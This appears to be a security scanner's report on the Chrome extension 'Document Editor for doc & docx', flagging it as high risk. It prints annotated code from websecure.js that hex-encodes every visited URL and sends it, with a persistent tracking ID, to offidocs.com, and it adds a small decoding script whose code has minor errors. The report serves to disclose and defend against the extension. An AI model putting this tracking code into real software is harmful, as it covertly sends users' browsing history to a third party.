Is Document Editor for doc & docx safe?

High risk

Document Editor is high risk. Code analysis shows page addresses are sent to offidocs.com. If the reply contains 302, the current tab is redirected to an offidocs.com editor page. This was not confirmed in a live run.…

Strong link to a flagged operator: 18 of the 26 other listings from the same operator are rated high or critical for malicious behavior. Flagged: X-Audacity (high), ApkOnline (high), Gimp Online (high).

officeonlinesystemsv2.12.7Extension ID bpdjlkbbhlnjlggpbofheohnomnibmmmChrome Web Store
79Risk
Who publishes it

officeonlinesystems - 26 other listings from the same operator, 20 of them carrying a finding

AI-assisted analysis.

Document Editor findings

offidocs.com reply containing 302 redirects the active tab to its editor page

HighunwantedCWE-829Static analysis

Code analysis shows page addresses are sent to offidocs.com.

What actually happens

You did this

The extension sends a page address to offidocs.com and reads the reply.

The extension did this

If the reply text contains 302, the current tab is redirected to an offidocs.com editor page.

The code that does this

Reply check and tab update in websecure.js

Readable version

Same logic, annotated

websecure.js
// send hex-encoded page URL, username and service tokenconst resp = await fetch(CHECK_URL + '?filepath=' + bin2hex(pageUrl) + '&hex=1&u=' + user + '&s=' + service);if (resp.status === 200) {  const body = await resp.text();  // any body containing "302" triggers navigation  if (body.indexOf('302') !== -1) {    chrome.tabs.update(chrome.tabs.getCurrent().id, { url: EDITOR_URL + '?filepath=' + bin2hex(pageUrl) + '&u=' + user });  }}

Hosts contacted

    • www.offidocs.com

    Receives the page address and username, and decides whether the tab is redirected.

Observation

No live request or redirect was captured. The behavior described comes from reading the code only.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Every URL you visit sent to offidocs.com in real time

HighunwantedCWE-200Dynamic sandbox

Each time you navigate or switch tabs, the background script hex-encodes the URL and sends it to offidocs.com.

What actually happens

You did this

You navigate to any webpage or switch to a different tab.

The extension did this

The extension encodes the full page URL and sends it to offidocs.com along with a persistent tracking ID.

No interaction with the extension is required. The request fires on every navigation, including private browsing activity.

Captured request

GEThttps://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php?filepath=68747470733a2f2f6578616d706c652e636f6d2f70616765&hex=1&u=etdl4sfjla&s=offidocs-service-id-42

HTTP 200; body examined for '302' string to optionally redirect the current tab.

Why you can't catch this in DevTools

The visited URL is hex-encoded before sending. The encoding is trivially reversible; it is not encryption. Every character of the URL is preserved.

Decoded value
https://example.com/sample-page

Query parameters sent on every navigation

  • The URL you are visiting
    68747470733a2f2f6d61696c2e676f6f676c652e636f6d2f

    The exact page you are on, hex-encoded. Trivially decoded to reveal the full URL.

  • Your persistent tracking ID
    etdl4sfjla

    A 10-character random identifier generated on first run and stored permanently. Links all your browsing history together.

  • Service ID
    svc-7f3a2b

    A server-assigned identifier fetched once on startup. Associates your tracking ID with a server-side account.

The code that does this

The navigation listener and exfiltration logic in websecure.js:

Readable version
// Fires on every tab switch and every page navigation.chrome.tabs.onActivated.addListener(function(activeInfo) {    activeTabId = activeInfo.tabId;    getTabInfo(activeTabId);});chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {    getTabInfo(tabId);});function getTabInfo(tabId) {  chrome.tabs.get(tabId, function(tab) {      // Skip offidocs pages themselves and non-HTTP URLs      if (tab.url.indexOf('offidocs') === -1 &&        tab.url.indexOf('http') !== -1 &&        lastUrl !== tab.url) {        extractaudio(tab.url);        lastUrl = tab.url;      }  });}async function extractaudio(urlxx) {  // ... (retrieves stored username from chrome.storage.local) ...  // GET the visited URL, hex-encoded, to offidocs.com  let cfgv = await fetch(    'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'    + '?filepath=' + bin2hex(urlxx)    + '&hex=1'    + '&u=' + username // persistent 10-char tracking ID    + '&s=' + servicexx // server-assigned service ID  );}function bin2hex(bin) {  var hex = '';  for (var i = 0; i < bin.length; i++) {    var chr = bin.charCodeAt(i).toString(16);    hex += chr.length < 2 ? '0' + chr : chr;  }  return hex;}

Where your browsing history is sent

    • www.offidocs.com

    Primary data recipient. Receives the hex-encoded URL, persistent tracking ID, and service ID on every navigation. Operated by the extension publisher.

Reproduce it yourself

Decodes the hex-encoded filepath= parameter from any captured offidocs.com request back to the plain URL, confirming what page was exfiltrated.

Requires
  • Node.js (any version), or paste decodeHex into browser console
offidocs-nav-tracker-verify.js · js
// offidocs-nav-tracker-verify.js// Usage: node offidocs-nav-tracker-verify.js <hex_string>// Example: node offidocs-nav-tracker-verify.js 68747470733a2f2f6e6577732e79636f6d62696e61746f722e636f6d2f//// Or paste into browser console:// decodeHex('68747470733a2f2f6e6577732e79636f6d62696e61746f722e636f6d2f')function decodeHex(hex) {  let result = '';  for (let i = 0; i < hex.length; i += 2) {    result += String.fromCharCode(parseInt(hex.substr(i, 2), 16));  }  return result;}// Node.js entry pointif (typeof process !== 'undefined' && process.argv[2]) {  const hex = process.argv[2];  const decoded = decodeHex(hex);  console.log('Hex input: ', hex);  console.log('Decoded URL:', decoded);} else if (typeof process !== 'undefined') {  // Read from stdin if no argument  let data = '';  process.stdin.on('data', chunk => { data += chunk; });  process.stdin.on('end', => {      const hex = data.trim;      console.log('Decoded URL:', decodeHex(hex));  });}// Also export for browser console use:if (typeof window !== 'undefined') {  window.decodeHex = decodeHex;  console.log('[offidocs-verify] Ready. Call decodeHex("<hex>") to decode a filepath= value.');}
How to run it
  1. 1Capture traffic while active (DevTools Network or a proxy).
  2. 2Find a GET to offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php.
  3. 3Copy the filepath= value.
  4. 4Run offidocs-nav-tracker-verify.js <value> for the URL.

Permanent tracking ID ties all your browsing history together

HighunwantedCWE-359Dynamic sandbox

On first run, the extension makes a random 10-char ID stored permanently.

What actually happens

You did this

The extension runs for the first time after installation.

The extension did this

A random 10-character identifier is generated and stored permanently in browser storage.

This ID is then appended as the 'u=' parameter to every subsequent URL exfiltration request, linking all your browsing history under a single persistent pseudonym.

What's stored on your device

'username' is the persistent tracking ID sent with every visit. 'offidocscloud' controls whether exfiltration is active; default '1' (on).

Location
chrome.storage.local key 'offidocs_key'
Contents
{  "username": "etdl4sfjla",  "offidocscloud": "1"}

The tracking ID in each outbound request

  • Your tracking ID (u=)
    etdl4sfjla

    Identical across every request to offidocs.com. Allows the server to reconstruct a complete browsing history for your installation.

  • Visited URL (filepath=)
    68747470733a2f2f6d61696c2e676f6f676c652e636f6d

    The hex-encoded full URL of every page you visit, linked to your tracking ID.

The code that does this

Tracking ID generation and persistence (websecure.js):

Readable version
// On startup: attempt to retrieve stored username (legacy sync storage path)if (chrome.storage.sync.get('username', function(obj) {})) {    username = chrome.storage.sync.get('username', function(obj) {});} else {    username = randomString(10).toLowerCase();    chrome.storage.sync.set({'username': username}, function() {});}// Inside extractaudio() — called on every navigation:async function extractaudio(urlxx) {    let storageResult = await chrome.storage.local.get(['offidocs_key']);    let datax = storageResult['offidocs_key'] || { username: null, offidocscloud: null };    if (datax.username) {        username = datax.username;          // reuse existing ID    } else {        username = randomString(10).toLowerCase();   // generate once        datax.username = username;    }    // ... stores datax back to chrome.storage.local ...    // Exfiltrate: attach tracking ID as u= parameter    let response = await fetch(        'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'        + '?filepath=' + bin2hex(urlxx)        + '&hex=1'        + '&u=' + username        + '&s=' + servicexx    );}function randomString(len, charSet) {    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';    var result = '';    for (var i = 0; i < len; i++) {        var pos = Math.floor(Math.random() * charSet.length);        result += charSet.substring(pos, pos + 1);    }    return result.toLowerCase();}

Where the tracking ID is transmitted

    • www.offidocs.com

    Receives the persistent tracking ID (u= parameter) alongside the hex-encoded visited URL on every navigation. Operated by the extension publisher.

If you have Document Editor installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID bpdjlkbbhlnjlggpbofheohnomnibmmm and choose Remove.
  2. Scan your browser to check the rest of your extensions.

What Document Editor can do

Permissions this extension asks for, as declared in version 2.12.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Where Document Editor sends data

  • www.offidocs.com/media/system/…13 calls

    From its own pages · 13 other extensions

  • www.offidocs.com/phpextensions/userext.php1 call

    From its background script · 13 other extensions

Chrome Web Store listing

Versions
2.12.7 seen since March 4, 2026
Store rating
3.1 from 209 ratings
Last updated
September 2, 2024
Size
415 KiB
Privacy policy
www.offidocs.com

Our write-ups

Updated November 20, 2026